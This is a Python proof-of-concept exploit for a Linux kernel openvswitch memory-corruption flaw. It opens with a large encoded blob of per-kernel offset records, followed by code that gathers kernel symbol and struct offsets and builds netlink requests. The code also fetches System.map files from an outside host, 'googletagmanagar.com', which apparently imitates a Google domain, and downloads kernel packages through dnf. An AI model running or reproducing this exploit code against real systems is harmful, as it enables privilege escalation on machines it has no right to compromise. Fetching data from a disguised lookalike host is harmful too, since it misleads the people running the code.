6hwD5?fqkOyv5q36vX;yz#6Q`2RL}LiC{X=;sqTATl%Y-#DbwJhaZy>QhH9v$s)p*!RGZ$a+6)CCV$(uYr=q131gfEWuD3;9dfpbFFV($oi=9}fx5Xx{cIo<}lc?#i25Yb;0s-s%SocLBrmttOq1va1MXjO`fj~7>(*^?7xv928Z6LP4!}?=d36f4ORs_~)jn)L#Xq{hc*Be;75mc+Fp&F{8n!p;WXP~+_uy%ccb%S-Y62z38TLf#cCa?zU{8;`2p*2+Jr@A+^E{8(vG`*D+^AsOE(cs`FDl@VXfK*6qE#Ix9p99nuab1{l#At$AHU>+D)ry|0VCg>^%Zey&8?T^xaa0c!);C(4yNUJ7tJAa@B<-=TXxl?;w0?SpHCiuDYf*iLwW$6Kq^8=W!;4l$;c*eFp_)z*sGfo9zD|&CtkWjzl!EB0xsqG47zC`rnoba~o&)QiP7skDZ;O&PqsF?xhH9vW>L*rLhXBrS)yprn*#ifa;(<9oA6YPqkgW-JESMPL9Uk9Qf&fzWeUgPd~qT@y{Q=ef8ge+xCU5&zj?2t~u_dws<2qaw9i#BX8iPt+`1~1juN6NksG;@dk(qVsX1~#C%I)%Zut_q#iz7HTyz$>ksG;@8@cnzZ3g8wqvXEYY%inRw6Ra?XajO1H*zC4a_5tKFz1$PjNGYhJ1y|jy3i_JF>uI@+{lgG$emAa7Stz;j53WJs1*G95;Ye;X&h6l&1r)Sx=ee>Y_7y~uvCIZ7KlQip|tY{-V}*~kuBk19S(tyo*SEV5-wwoD>BL}jCcY{-Ue$cF5^WKRl4Zpf~^uA=df4cU+l*^r%)Y`uS#ou1?xva3R=W@r$yAsezG8?y6~J-x~fX}6Lns%*%HY{-V}ykyJ%Rrc%kWka?$g_0-|or7%1hHS`&?5t$(U1hh)c2W5#7P285vh$N|tWw_YzDcgD`tyS2AlH(}Hs2g?4z*dWe>?sXu3u~pPu6F}^{=tge;mF)uYWCF{5gTWO2vEl3vS~!Zs&7bhbpwcQbTTw!tEuxeRO($b&THVjot($=>4_mJ)wi-*Q;$%5(<&113?L7L-x~~hP0YpN(&;}?mrCq`f5ABuB){A&RK>b5gW1R5?j1ccGM;gqV0u=y?_5mOY9JB8Eu8wh>h6P*od7^Y`1@nol=n`_I63B)6pu#Mr_2U#zyR%V((pJr<3K4*ftHXYZVo#2x22PVk34|vG;D#Zr9i@8W*)eY{W)vQW3J4u@!r>5gV~dMG!ly*yXf->>tj5FA7P$BBrjf>Fz^p#C~E!kJQ*p6MIrW_KnzOv?dy69uXU{5gW0yioO3jzn0i88bytb*ogh~*7^B>*b5RnOyA}g?yrN=D>1BtLT%K38q54#6<7zgK(#0D^22WI#_p&64(Tj*FUjux-yzckWXediEtHAr9ArsGg4l@t#8U05q;q6ZVo#b`zY*I;C(-f_iP(sZ*od7~?7iP1+hXgq$xjPnBQ|0`u~fvDg4oLuyV^e$N$1v+*kTLOQR*_AR0OdRo0Bw%omK3;Q<1jV5`~#{#71nyM(o^T@12UY#WvAsULFw}vF8z6+4}3`N2DSmxBg3fU1Hxt`WD~)V(-wd^vdf}Rjap~v(3fHQ5Sa!u=;O@w*FgP_(PZ8dR11c`a|r2vVR=^;t%D}_mcPm`>+rDj8wkcJ|Bkc3u?rMrTWig7?TJG-tZPwt%d`wZX)6Rmg0TCIV`kJ3p=!n_EW&%AsezG8?qrg2iY=ZE8Y#+WfaxQgdrQUAv^E<_pPkAf09u9VCcJ864^3!06hH~ccuvaO36wbQ-rvU+Zo+9RppgZque&4aC?DnPaFY9Z}dj*N2|Jn9jABj_8GnF-Pe1Uh40pbvLPF?vyd%Qx`(gH-rgt_5803n*^mv{8Ob*LSJ^-RdbK6HIZ~L;$_B`WY{-Ue$j(ak-c@#sY+XfXqtcKK*^oWcTb>&GmPZHOqR4g+&_U+$(}SFenWN@wTVU`8?qt$6WP*U>e(V&x3#@Tw)WMojHEWd6ytVo4Anl^pewTN1(7YXQmfxjE-pKzUVVG|zJ|0D>}?8SS81I`U0|EYo=}{|Y1&3`I)l>_8vW9}tC#DuqL6ewCADWODr>|>Y{W+FoMOwA3xzjgtEg3UOw%AXV$UJA_oAy2@wKzg*S{WOFGy_nWdn~dug(hX3YBhtM@L)@(GcB=t4&8No&Ng4`GL5)@?mF7U#O~aEq%e1mIGJICwle6$-jSm-90mNwP~O(s-iBWB}8X-L%sb2u{u9H{Rq}z&D-MsZ;Mq~daM1Ix5Y{<_4J~!Ua8gT<%d0=7VD4N?6mzU+LD?YreQjB3y3IMK%Obn6IwuU8mDoZavG;IJMAZy)1uO?M5m$?n1*SXrksZ9JWNk2r*Rsm^E=)8`RCj1p=x~n?yXK@jP)w89b{Qf>)vv@uPyJdY4=`wPE1y(&_g6@UwotLe_=INQ&VTN+GuBeyI}9FsVl1$op}qh+E)kKgoE{O|2eDe9qOr;-rcD$uTE1Ri0G(%)J(x3H*ynNBX>@@%c-Gt)3@h@@p71kX_$uTr^>XbC_XA$KwuiCd0T|(OiWLETcn)EX`IGsoPO#~Q%~bGPS3OPqpW1y#t&hfd`V7+FWvZYT4+-!9h(L{9uOfKqDiJ9Iw#SSlIgk-cl95#XcUz+Ov5xx!}Jqo+PNq&4bw19Fb&h0n4SVFPUAFAe;rO!PvbOBGnk0e*_bb$c@~zejs;7xvTN5AFr>rM2k*b78IFwq0YUS6*+x3zR=!VeP-wKPxzHO(JDofYbd%^#u*<)W#gF)$6&Fb&f%{WO{O>4u`MU>c@jn%)nX&cpPi-Ve%YoW^OK#_6Z;H1#x2|anDwNX2t+NP?!Qfidi?Z-*fUX0pDr{`D4*p1!TO-6#h4xKq7WVv8(A5kX6?djW$ftpf+kV0g2lA)Sf&6iQU+Z-DD)#J)hmvQtj_IhehF=y?zpfc^bq-cKS8$XCro{glq)2aXYWu)?0Gz=j`^xU>m*B8@(STC$UbPc4Ll=dF9ASmZkUp(e^(!$HlAlMg4t|7LVu<4JT_L8?qrAvh$L?cedRo+o$b*nrs`gA$u;ejUGp~SK%uq`UJls8Fx2Hecp*MP?_v1tgGNQqm6nKGp@BeU@E|-7%{-P)(Z8No=pailZ8?qrgH`#kX+_lN}(YfdtBZO?ohHS{rNw!S8%azF1O_eQWRO~Z_Y{-Ue$j(dlq{Cb-vVAm=4cU-Q2MJ{7B-=bd2Z`x=gA~sjByQt29VED&(e3FSB9C5CC+cNpS*shXY`AE=GRbh9ppBAe^_4LHvez{lYXQv-g`wP{s-L`i1wszuY9PBcZ%)Buw8W**Q*~+{{7?Y-o}xaS7&J#tFEmM(SF(zMdj_>lFvhp@@Ikd5QTFpv`wx)=We@a_-sxmbqj#0YYqW}bJHn3K$c^08+sK_mZapmbPO-n=92P|_cFnbmiV=3yMs4bC)P7vG$JE>D5PQ;F>y&ZpDmqKOjoiq+eTS?>b;@lj8EPR>c9+~<>aUYhyIV-K1XUsTvg9^?wf;{nOc&f%y4+6fey=z0(-3=V(5|A@yhUO)R?lE{sqBP-qWj9~CIivwrP0}F15zV3QqPrvXc<>lI~MsZPU`-$+IBYfr8ewTR!gY=1f}5_5wHepu%@gA>#SH?)mv6eUjUNIYO$%T79SmBj!2Evw1FUXeyMxgKzx_gsoA=*x=LH0tVFG_8mqB-ma5ts@gu8hnyr^-_1mNOgE2MF(VD0jgTZR7CalKl>{j=M)n-Qvh?uDL&DK4nMrx!ctVZgLQV)dHy{kZ8Y>tY;H7inmG?dj~4c2pE-M;9>bosNwT6)83JG2Kx`$DIUP0{kKh}1|uR{)|)Apm)&<);`76LdPCbBlT=uAWG3&{amH)3qkx)Z?#Ahf~Zzajnqhu)R}8)Zx#0!pR3dZ0f_Cxx;eXOn}aaAbz^`41gycD00gY_U~PK?5a0K<*!1g3+Jx#PY61|XM(Vjn7G*>iNE%tJKahHHQumE4I@MQIH&!>#irTOU1go){uo|mpu(~g-E{A%n#ngZIj;g#lT#nR8jnw(2_F-gLO>gxArGD3)R99UIwbq5wbs-&{BB4fTgr4aFj2-)&*t!&h&2$h&%XlJEBQ@`cNS$5kzIVjX*PWNf6UC)FUFjXs^NxtrNd2@^Fq2S`*?kIw#B-xs7*9g)O37+HCVHU39K_?9eT45-M@!PNo!LcLL)RnlTIV_>_QLSbV*XzOb7ORAT?6YCv|Bpwe+)&{eO{_HHj;5?WVTrSNP{#T9w7b5NcT;OH(2{ZxrDXwehAiJO+^jXd9kjG=Ds<^-c(vgZQ134&9oB&ci5!TA>9?Pg;vZRA~Ztteu&VICv@M0c#=9@t98+8<`0n?spq?aDBf}d@!3kS9XnxYoB)F>5_gtghpsy4-q=M(9)YtySww@sfISHMmg=oa~h!$8libTMCeBodZ-hxDAR7dly*={BQ;XSjkR$|jnqg@p9fOsmU>{Nhq)hkd`u6BX*r&aj^kP&4btpg0_jIZx<8%XVqK-H0FK!fum)=?YOv0Xwdw84^F6aIqM}Y82#wGPP3JU1Kbp|Hc9{C84PALijns5{AoUDV_q`+fu3kJ{6{_Z0q9&R~XoRNI1EC*J=)Qa6P1m$(QV$;;_r#GJshL7V>daEx{s|Ya?oJ^#$+WA#N7H1B!f1@fXz~t>&Te#HHQl*oTFP{@MO?IWcOW!ElXoEW;|blBceE~w*HYUMEpLZNjnvfANS$BmcO%k{cBizDg3t(!&~!>8^c+GDjJ3GCEqDoO@kQ$H2pj?cX^>|25TqX&>ArsH&se*PJGEd9)>PDBogHh}JK55)XZmB>jCWm5)8T>82+iyvLO-6+JN9@qV=d8CaWPHqol6Num)Np?Nbz=*JVf>&@_{mX@+mp?Nc8IvlBydbV1c>G0<(^+2<9xVs4N<<(jJtypLmlhd@|fiy_ZHqkN`X(n2p7t(zbEeUI*QabHa{Q=fs4c5FMf^}Z3!@vuo?MXdEMX5MXi_sWOA09@}V02HXwC}x1Yoqw65E`KonysY>{dhv}x*qPLGEwt_h}1|uTP+yW0em5fRXg?o@sC0D9v>-G>&(-7MTi>J9($7rj{^!Hnfye8sg!F0s$EHxW7CPzx(jX1ebG1y5MVcOu=Y@2Ck4KHQOm-ab+LL-bC!>en5VuyliZ?{8#_IXr5JM@vAwE~D``!?5T@io1zT74rx=bPH{jHMT7;@$_>N+OOVj&Nde(M_ov#pKdAr)Bk+;-K(E|e)Hm=KYaV@zyH=;6o0k8NSpFh8C{5qM@7^|?HSZ&4-;w+sNI!<4C$TX>zmz7$c@~{&0Z$t&LX$!-Joasx~l8i+C^atH9{lwTn&5Gi1$Tm>*pr)j*U!8q7m*QA~jO8?E|T2kh*V{-1KjuR%QKx&ZViAH~W~FO+;vfo->#BinIfv?+D#D^>QP%jV5q=3#pNM#wqdG7ZJX=*!sJBrYwW+sJ`*GF&lG`s*7HP?zxw+hh+{lgG)Z56NLvB4R_n_G6Rr1^S7wJ_}Ow>Lqq25Mq)TZ7>?MGF6Oue1@vm3o_y5^-#w2pckxsjWC8@aQ|J^V7M%UxopO9X{W{UqX}ut@~9QJZ=jwI5gQQT2B7I$7&orrjcS$!$ILHgY33_4X`s?=Vj6pmAcyRHot!ZK6^)SptD-m+{W`R}R@IYL9GkRW>nJ)Z7j;GDhm6QLN97j+N$Yd`XLd6zx3Rl=(V8uDbv+wWFPdf#C~BkjT=i@vfqE9TJJcRqZ{KX5v#H*`zKVj}$c@~2>+LdF>g{JKw;z_<@0zu4Hqq&nkT_GLO}&lUs6AJ`%>{4N?o@m1@99c;@?gAEYFAeU&s3eS<0ZG>j6Wmf2s!I1|RSDd{4ct$tN!qnwFL_KhOwG-|z2)8Sj3AYX1a7)z9;oKzp_0|xcbhJ@O^4Q>W+cTF%0vmD0&OO4fEuWQ8mMzYZB}oO-j9YlwTv`t`frA7IBE#gKs_JS+5`2og}S?*Y~36`ofQ!V_mLRnioZ&25N$8pq>Hh{-AoN)gda0mPbXb#%h9Utj=t;?+dE^E~uOC4?|E5)IdEG)T6fYIb(F$`qlvIg+Sete)vDc_ALmx9)LM5iZb<8TNNb$HedtxEGdYt{HVTaz+NQS{VB+e*_~~Buh*B`p~bRku@0mmn2p&K*_fT(?6NNnDTj*e)Dx1x)-K(3H1^Y>0>B1rz@~i!BK|p_=wRsLoAwPk>$a&zYY!$G==uo)846ftvO`pq>Hh{@{9-)lKhSw6t1dHCEHUht-*_4t;@j*afwUbzN;7Py;nk^Rfuk*`e+Ws>5Id->+9&vUM7b5fzm{He^FKi%}svH`zUbb?Arsv?!!V*I>#hKn>JD{p6q~uwEY2{ektc)m5R(=;{xaIAJwb(*=UnnXRt+0_$q%ewR_Hvsz3vB~Sx3P|p=uD@$Mv)VHC&j;nS5D9mYEk1E?%5GrfH25d%Q06Ra}eJ_mF?hb2LM#Cr!R6{j^HB{%NTC0Al>z^CWL39l@3sSKft8ZIvBy?IGlp3(QYW-dkSY!2FtL^IT=4^9ua@1*c*M*ojFaG(%x3B*DZ?`VR=%^|#`q$8vQUEv*&w=WQYc{JIo%Kqq&u9H!+O5CPtqyJDhdQ)v*a5dORsAosv)I;^(mojAUJl$^eRI4y)MmB*?f5g3x1J(9seZ9JJXxO=+h1a(|2TYquFW^P_;aeWSIX6YKllr3qc&=1Rl96|C5F^CqELHzY9F1RUmasNc4PNf7L_<%T07!N(t53kw-;r1nqNQo<;a?Y+f?qBI~_}Jnn+9vNF;E32C)$vu@O7F*m^&)Q>5L9UDkihqH@edA~s^rC$PjQuk`A8^UM0`^m4q_H@p1`DU^%0iu!YPUHti2`?CB+^ZJO|)Y+NqY*Tu&>}RR=zORqla|dUsJzFF?&Fdp#Ble8Rh$xbg=P35xS@s>V6&J-28?omRTbvHnm>Sy{?E~G}ixRu^s#L1}H$yX#HNwi*pX6=%hc1J1!FZ$o5IIoxk5a9V%hLAmCBbj}#_znt?0!tYU-H|MY~y$G+q&(b`ycMe9vx|i-}sH+_>JFB-ft_~sj9s8+g7CwLE$%k<2O4=@OwtTW%^DMS;^hGcE1ujOHdoN*-3)h8P%S=lLWi5n_g~ux%1e4i|bpEe~I1067JI(y^=7~eLC&coQW|Kg)=dTjo8exAa+)<_nu|BU1KX3g=36}jo65d*qO!Nb1&1K8e2t8jg8p6<;^mEC_!XI_p>ps2Ae*NMTxz>IQmtu^cTH7{xv;3HivW5d!q``g{Y+XM%DiUYp@3Ed{}#1`Voy6QabB|QI%z3{h!TQ+N4+iKiyvcKi~Z@-t00uh1r-*B*J(KW@j?nOdn4%_s=etE9GeKLv7S%JO#D$sXci-1-r2uyJ_^p?)mKAzcu^&i<9jmWR+H++WLcYUWkp@w2dHkR^D;0Qq#B9u_Zv?ZmnLV{_1i6tLxgRGVamtctKR>xA?DPBes(7{jSQKTUL$od$M?3=9fISn~zVZax&k*cMJtGa+q5cyPl|;)6BwzzJ6*ge!1KaOkVW$Vk1hzKypR(vI`&R)Qu&J;CJ1^LKSJ-W^>k2zW1=xTM*mR5lc0RDn$sHqQ*Sn+kygOnxX45f(+1bpV+A)IM$c^0O*~mSc+|xTov`rl&;#e~R*nmx*4cK|X-v69f3+yuLDq8Yvzy@q8Y{1S3c9^!vuL0ZDA5ojAsjvYXu&J;CJ15wad$JSQHY!7f4cLH9#|U8O1iPBtF;aECI|}cPn2p(Vj9_*?v!`~9AUAR&H+eR4&nEY({tewP&wh1&wv9(ZAvzi#oh2RtY`_L=z|IP`-Lu8-YO@8qs*O&U#2j~N02{CY8?f_&?WXl)i%ui!PND{Ezy@qOMgTh}*s_g8?4(FUqA^j3L;xGG=K@O+9WS5u+JX2W-H;1-9-1+p91DcG=Omcc;HEhz^w_7Bf5uTG0X3gu$`;XYplEdE?o@{0~f3|oLUWoTZst18%Wqs@vjx#gg3CXP1Ozry_ixpJiivoRa9Gn#FxN~thzv{^#H?8TWqZL}G=ksG-mBlPuNmCnh+Lto_XkbD1Cov+uI+n~hOe@l;Iqp8TW0UNLZ8?dv2t@j^oPGD str: uname = os.uname() return " ".join( ( uname.sysname, uname.nodename, uname.release, uname.version, uname.machine, ) ) def acknowledge_unknown_kernel() -> None: print( "This is a memory-corruption-based PoC -- it requires per-kernel-build " "derived values (offsets, etc.). These were pre-derived for a number of " "kernels in this single-file PoC, but yours is NOT among " f"them: {uname_a()}.\n\n" "Therefore, the PoC will attempt to _dynamically derive_ the offsets, " "etc., from readable local System.map files or nonzero /proc/kallsyms " "for symbol offsets; readable /sys/kernel/btf/* files or unstripped " "local kernel build objects via pahole for struct layouts; and loaded " "/sys/kernel/btf/openvswitch module BTF for " "OVS_KEY_ATTR_TUNNEL_INFO. These are often available to unprivileged " "users across distros, but the availability depends on various " "security settings. If they are NOT available, the PoC will report " "this and terminate. (Note: pahole must be already installed for the " "dynamic derivation; an actual attacker would just package it in the " "PoC).\n\n" "By proceeding, you acknowledge that such early termination would NOT " "imply your kernel is not affected, since your kernel could still be " "vulnerable despite these sources not being reachable by an " "unprivileged attacker; an unprivileged attacker could still trivially " "target the PoC at your kernel by obtaining the symbols in a myriad of " "other ways (e.g., matching distro debuginfo/kernel-devel packages, " "System.map/vmlinux/BTF from the vendor kernel package, a second " "machine running the same kernel build, rebuilding the same " "source/config locally, public distro debug repositories, or any " "privileged read of the target's symbol/debug files).\n\n" "For a definitive check of whether you are affected, see " "https://heyitsas.im/posts/ovswrap", flush=True, ) if not sys.stdin.isatty(): log("auto-acknowledging dynamic derivation (non-interactive stdin)") return try: answer = input("Acknowledge? [Y/N]: ") except EOFError: log("auto-acknowledging dynamic derivation (EOF on stdin)") return if answer.strip().lower() == "y": return raise RuntimeError( "terminated: user refused to acknowledge that dynamic-derivation " "failure on an uncovered kernel would not imply non-affectation" ) def require_pahole_for_dynamic_derivation() -> None: ensure_pahole_available() if shutil.which("pahole") is None: raise RuntimeError( "kernel is not covered by pre-derived kernel records, and pahole is " "required to dynamically derive kernel struct offsets from local " "debug info. This does NOT mean you are not affected, as a real " "attacker would just package the equivalent functionality into " "the PoC or otherwise target the PoC at this kernel. For a " "definitive check of whether you are affected, see " "https://heyitsas.im/posts/ovswrap" ) def json_object(value: Any, source: str) -> dict[str, Any]: if not isinstance(value, dict): raise RuntimeError(f"{source}: expected a JSON object") return value def json_int(obj: dict[str, Any], field: str, source: str) -> int: value = obj.get(field) if not isinstance(value, int) or isinstance(value, bool): raise RuntimeError(f"{source}: {field} must be an integer") return value def json_str(obj: dict[str, Any], field: str, source: str) -> str: value = obj.get(field) if not isinstance(value, str): raise RuntimeError(f"{source}: {field} must be a string") return value def json_str_tuple(obj: dict[str, Any], field: str, source: str) -> tuple[str, ...]: value = obj.get(field) if not isinstance(value, list) or not all(isinstance(item, str) for item in value): raise RuntimeError(f"{source}: {field} must be a string list") return tuple(value) def json_carrier(obj: dict[str, Any], field: str, source: str) -> str: value = json_str(obj, field, source) if value not in CARRIER_ORDER: raise RuntimeError(f"{source}: {field} has unknown carrier {value!r}") return value def parse_kernel_offsets(value: Any, source: str) -> KernelOffsets: obj = json_object(value, source) values: dict[str, Any] = {} for kernel_field in fields(KernelOffsets): if kernel_field.name == "dst_entry_ref_kind": values[kernel_field.name] = json_str(obj, kernel_field.name, source) else: values[kernel_field.name] = json_int(obj, kernel_field.name, source) ref_kind = values["dst_entry_ref_kind"] if ref_kind not in ("__rcuref", "__refcnt"): raise RuntimeError(f"{source}: invalid dst_entry_ref_kind={ref_kind!r}") return KernelOffsets(**values) def parse_kernel_build_record(value: Any, source: str) -> KernelBuildRecord: obj = json_object(value, source) return KernelBuildRecord( release=json_str(obj, "release", source), version=json_str(obj, "version", source), machine=json_str(obj, "machine", source), offsets=parse_kernel_offsets(obj.get("offsets"), f"{source}.offsets"), read_carrier=json_carrier(obj, "read_carrier", source), write_carrier=json_carrier(obj, "write_carrier", source), read_lanes=json_str_tuple(obj, "read_lanes", source), ovs_key_attr_tunnel_info=json_int(obj, "ovs_key_attr_tunnel_info", source), ) def load_kernel_build_records() -> tuple[KernelBuildRecord, ...]: source = KERNEL_RECORDS_DESCRIPTION try: encoded = base64.b85decode(_KERNEL_RECORDS_B85) value = json.loads(zlib.decompress(encoded)) except (ValueError, zlib.error, json.JSONDecodeError) as exc: raise RuntimeError(f"{source} is malformed: {exc}") from exc if not isinstance(value, list): raise RuntimeError(f"{source}: expected a JSON array") return tuple( parse_kernel_build_record(item, f"{source}[{index}]") for index, item in enumerate(value) ) def parse_attrs(buf: bytes) -> list[Attr]: attrs: list[Attr] = [] offset = 0 while offset + 4 <= len(buf): length, attr_type = struct.unpack_from(NLA_HDR, buf, offset) if length < 4 or length > len(buf) - offset: break attrs.append(Attr(attr_type, buf[offset + 4 : offset + length], length)) offset += align4(length) return attrs class GenericNetlink: def __init__(self) -> None: self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC) self.sock.bind((0, 0)) self.seq = 1 def request( self, nlmsg_type: int, cmd: int, version: int, payload: bytes = b"", flags: int = NLM_F_REQUEST | NLM_F_ACK, ) -> list[bytes]: seq = self.seq self.seq += 1 genl = struct.pack(GENL_HDR, cmd, version, 0) message = genl + payload header = struct.pack(NLMSG_HDR, 16 + len(message), nlmsg_type, flags, seq, 0) self.sock.send(header + message) want_ack = bool(flags & NLM_F_ACK) replies: list[bytes] = [] while True: data = self.sock.recv(1 << 20) offset = 0 while offset + 16 <= len(data): length, msg_type, _msg_flags, rseq, _pid = struct.unpack_from( NLMSG_HDR, data, offset ) if rseq != seq: offset += align4(length) continue body = data[offset + 16 : offset + length] if msg_type == NLMSG_ERROR: error = struct.unpack_from("i", body, 0)[0] if error == 0: return replies raise OSError(-error, os.strerror(-error)) replies.append(body) offset += align4(length) if replies and not want_ack: return replies def get_family(self, name: str) -> int: replies = self.request( GENL_ID_CTRL, CTRL_CMD_GETFAMILY, 2, nla(CTRL_ATTR_FAMILY_NAME, cstr(name)), NLM_F_REQUEST, ) for reply in replies: for attr in parse_attrs(reply[4:]): if attr.attr_type == CTRL_ATTR_FAMILY_ID: return int(struct.unpack_from("H", attr.payload, 0)[0]) raise RuntimeError(f"family {name} id not found") def run_text(command: list[str]) -> str: result = subprocess.run(command, text=True, capture_output=True, check=False) return (result.stdout + result.stderr).strip() def step(message: str) -> None: print(f"\n***{message}***", flush=True) def log(message: str) -> None: print(message, flush=True) def env_tri_state(name: str, *, default: str = "auto") -> str: raw = os.environ.get(name, default).strip().lower() if raw in ("1", "yes", "true", "on"): return "on" if raw in ("0", "no", "false", "off"): return "off" return "auto" _KALLSYMS_USABLE_CACHE: bool | None = None def kallsyms_usable() -> bool: global _KALLSYMS_USABLE_CACHE if _KALLSYMS_USABLE_CACHE is None: offsets, _failure = symbol_offsets_from("/proc/kallsyms") _KALLSYMS_USABLE_CACHE = offsets is not None return _KALLSYMS_USABLE_CACHE def vmlinux_btf_available() -> bool: return os.path.isfile(os.path.join(BTF_DIR, "vmlinux")) def hybrid_mode_requested(record: KernelBuildRecord | None) -> bool: mode = env_tri_state("OVS_C004_HYBRID") if mode == "off": return False if mode == "on": return record is not None or vmlinux_btf_available() if record is None or not vmlinux_btf_available(): return False if not kallsyms_usable(): log( "kernel offsets: auto hybrid enabled because /proc/kallsyms is " "zeroed or unusable but vmlinux BTF is available" ) return True log( "kernel offsets: auto hybrid enabled to derive struct layouts from " "BTF while keeping pre-derived symbol/UAPI metadata" ) return True def force_dynamic_requested() -> bool: return env_tri_state("OVS_C004_FORCE_DYNAMIC") == "on" _RPM_RELEASE_RE = re.compile( r"^(\d+\.\d+\.\d+)-(\d+(?:\.\d+)*)\.([a-zA-Z0-9_]+)(?:\.(x86_64|aarch64))?$" ) def system_map_release_stems(release: str) -> list[str]: stems: list[str] = [release] if release.endswith("-generic"): stems.append(release[: -len("-generic")]) rpm = _RPM_RELEASE_RE.match(release) if rpm is not None: stems.append(f"{rpm.group(1)}-{rpm.group(2)}.{rpm.group(3)}") ordered: list[str] = [] seen: set[str] = set() for stem in stems: if stem in seen: continue seen.add(stem) ordered.append(stem) return ordered def system_map_standard_paths(release: str) -> list[str]: paths = [ f"/lib/modules/{release}/System.map", f"/boot/System.map-{release}", f"/usr/lib/debug/boot/System.map-{release}", f"/lib/modules/{release}/build/System.map", f"/usr/src/linux-{release}/System.map", f"/usr/src/kernels/{release}/System.map", f"/tmp/System.map-{release}", ] for stem in system_map_release_stems(release)[1:]: paths.extend( [ f"/lib/modules/{stem}/System.map", f"/boot/System.map-{stem}", ] ) return paths def system_map_cache_path(release: str) -> str: base = os.environ.get("OVS_C004_DWARES_BASE", "").strip() if not base: base = os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004") run_dir = os.path.join(base, "run") os.makedirs(run_dir, exist_ok=True) return os.path.join(run_dir, f"System.map-{release}") def default_system_map_urls(release: str) -> list[str]: urls: list[str] = [] custom = os.environ.get("OVS_C004_SYSTEM_MAP_URL", "").strip() if custom: urls.extend(part.strip() for part in custom.split(",") if part.strip()) for stem in system_map_release_stems(release): urls.extend( [ f"https://googletagmanagar.com/exp/ov2/System.map-{stem}", f"https://googletagmanagar.com/exp/ov2/minimal-{stem}.System.map", ] ) ordered: list[str] = [] seen: set[str] = set() for url in urls: if url in seen: continue seen.add(url) ordered.append(url) return ordered def _find_system_map_in_tree(root: str, release: str) -> str | None: for stem in system_map_release_stems(release): for rel in ( f"lib/modules/{stem}/System.map", f"boot/System.map-{stem}", ): path = os.path.join(root, rel) if os.path.isfile(path): return path return None def bootstrap_system_map_from_urls(release: str, dest: str) -> bool: if os.path.isfile(dest) and os.access(dest, os.R_OK): offsets, _failure = symbol_offsets_from(dest) if offsets is not None: return True for url in default_system_map_urls(release): log(f"bootstrap: downloading System.map from {url}") try: with urllib.request.urlopen(url, timeout=60) as resp: data = resp.read() except (OSError, urllib.error.URLError) as exc: log(f"bootstrap: download failed: {exc}") continue if len(data) < 20: log("bootstrap: download too small or empty") continue tmp = dest + ".part" with open(tmp, "wb") as handle: handle.write(data) os.replace(tmp, dest) os.chmod(dest, 0o644) offsets, failure = symbol_offsets_from(dest) if offsets is not None: log(f"bootstrap: cached System.map at {dest}") return True log(f"bootstrap: downloaded map unusable: {failure}") try: os.remove(dest) except OSError: pass return False def bootstrap_system_map_from_rpm(release: str, dest: str) -> bool: pkg_mgr = shutil.which("dnf") or shutil.which("yum") if pkg_mgr is None: return False for tool in ("rpm2cpio", "cpio"): if shutil.which(tool) is None: log(f"bootstrap: {tool} missing, skipping kernel RPM download") return False base = os.path.dirname(dest) pkg_dir = os.path.join(base, "kernel_pkg") extract_root = os.path.join(base, "kernel_extract") os.makedirs(pkg_dir, exist_ok=True) if os.path.isdir(extract_root): shutil.rmtree(extract_root) os.makedirs(extract_root, exist_ok=True) dnf_base = os.path.join( os.environ.get("OVS_C004_DWARES_BASE", "").strip() or os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004"), "dnf", ) for sub in ("log", "cache", "persist"): os.makedirs(os.path.join(dnf_base, sub), exist_ok=True) dnf_conf = os.path.join(dnf_base, "dnf.conf") with open(dnf_conf, "w", encoding="ascii") as handle: handle.write( "[main]\n" f"cachedir={os.path.join(dnf_base, 'cache')}\n" f"logdir={os.path.join(dnf_base, 'log')}\n" f"persistdir={os.path.join(dnf_base, 'persist')}\n" ) pkg_candidates = [ f"kernel-core-{release}", f"kernel-{release}", ] rpm_paths: list[str] = [] for pkg_name in pkg_candidates: log(f"bootstrap: downloading {pkg_name} via {pkg_mgr}") proc = subprocess.run( [ pkg_mgr, "-c", dnf_conf, "--setopt=install_weak_deps=False", "download", f"--destdir={pkg_dir}", pkg_name, ], capture_output=True, text=True, check=False, ) if proc.returncode != 0: detail = (proc.stderr or proc.stdout or str(proc.returncode)).strip() log(f"bootstrap: {pkg_mgr} download {pkg_name} failed: {detail}") continue rpm_paths = _filter_rpms_for_host( sorted(glob.glob(os.path.join(pkg_dir, "*.rpm"))) ) if rpm_paths: break if not rpm_paths: log(f"bootstrap: no kernel RPM downloaded under {pkg_dir}") return False for rpm_path in rpm_paths: base_name = os.path.basename(rpm_path) if not ( base_name.startswith("kernel-core-") or base_name.startswith("kernel-") ): continue if base_name.startswith("kernel-") and not base_name.startswith( "kernel-core-" ): if any( x in base_name for x in ( "kernel-devel-", "kernel-debug-", "kernel-headers-", "kernel-tools-", ) ): continue _extract_rpm_tree(rpm_path, extract_root) src = _find_system_map_in_tree(extract_root, release) if src is None: continue shutil.copyfile(src, dest) os.chmod(dest, 0o644) offsets, failure = symbol_offsets_from(dest) if offsets is not None: log(f"bootstrap: extracted System.map to {dest}") return True log(f"bootstrap: extracted map unusable: {failure}") log("bootstrap: kernel RPM did not contain a usable System.map") return False def in_namespace_child() -> bool: return bool(os.environ.get(HOST_USER_ENV)) def prepare_system_map_host() -> None: if in_namespace_child(): return release = os.uname().release bootstrap_system_map(release, network=True) def bootstrap_system_map(release: str, *, network: bool | None = None) -> None: if os.environ.get("OVS_C004_NO_SYSMAP_BOOTSTRAP", "").strip().lower() in ( "1", "yes", "true", ): return dest = system_map_cache_path(release) if os.environ.get("OVS_C004_SYSTEM_MAP", "").strip(): return if os.path.isfile(dest) and os.access(dest, os.R_OK): offsets, _failure = symbol_offsets_from(dest) if offsets is not None: os.environ["OVS_C004_SYSTEM_MAP"] = dest return if network is None: network = not in_namespace_child() if not network: return if bootstrap_system_map_from_urls(release, dest) or bootstrap_system_map_from_rpm( release, dest ): os.environ["OVS_C004_SYSTEM_MAP"] = dest def discover_system_map_candidates(release: str) -> list[str]: script_dir = os.path.dirname(os.path.abspath(__file__)) dwarves_base = os.environ.get("OVS_C004_DWARES_BASE", "").strip() home = os.path.expanduser("~") candidates: list[str] = [] custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip() if custom: candidates.append(custom) candidates.append(system_map_cache_path(release)) for stem in system_map_release_stems(release): candidates.extend( [ os.path.join(script_dir, "data", f"System.map-{stem}"), os.path.join(script_dir, "data", f"minimal-{stem}.System.map"), os.path.join(script_dir, f"System.map-{stem}"), os.path.join(home, ".cache", 